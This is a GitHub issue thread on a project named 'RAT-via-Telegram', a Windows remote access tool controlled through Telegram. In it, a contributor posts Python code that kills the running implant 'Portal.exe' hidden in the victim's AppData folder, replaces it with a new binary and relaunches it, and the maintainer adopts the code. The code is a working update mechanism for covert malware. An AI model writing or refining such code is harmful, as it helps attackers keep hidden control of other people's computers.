mvrozanti / RAT-via-Telegram

Windows Remote Administration Tool via Telegram
MIT License
647 stars 344 forks source link

Self-update #16

Closed LearnerZone closed 7 years ago

LearnerZone commented 7 years ago

This should be a priority functionality so new features can be pushed easily, here is how I am doing this. I am sure this can be improved drastically. I upload two files, 'helper.exe' (The code below) and 'updated.exe' (the new version of the RAT) and then execute 'helper.exe'.

import psutil
import os
import sys

appdata_roaming_folder = os.environ['APPDATA']  # = 'C:\Users\Username\AppData\Roaming'
hide_folder = appdata_roaming_folder + r'\Portal'

PROCNAME = "Portal.exe"

for proc in psutil.process_iter():
    # check whether the process name matches
    if proc.name() == PROCNAME:
        proc.kill()
os.rename(hide_folder + '\\' + PROCNAME,hide_folder + '\\' + 'Portal.exe.bak')
os.rename(hide_folder + '\\updated.exe',hide_folder + '\\Portal.exe')
os.system(hide_folder + '\\Portal.exe')
sys.exit()
mvrozanti commented 7 years ago

46e152ba73dc481fdec54767b3fa0ee162ea8327 :D thanks! Credits on README